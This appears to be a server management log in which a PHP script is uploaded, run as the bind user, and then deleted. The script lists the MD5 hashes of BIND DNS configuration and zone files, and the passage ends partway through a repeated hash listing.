MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:31:45: Establishing a connection
2026-04-30 17:31:45: 

PUT: /tmp/pkp711552

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:31:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp711552; rm /tmp/pkp711552'

2026-04-30 17:31:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:31:47: Establishing a connection
2026-04-30 17:31:47: 

PUT: /tmp/pkp462388

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:31:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp462388; rm /tmp/pkp462388'

2026-04-30 17:31:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
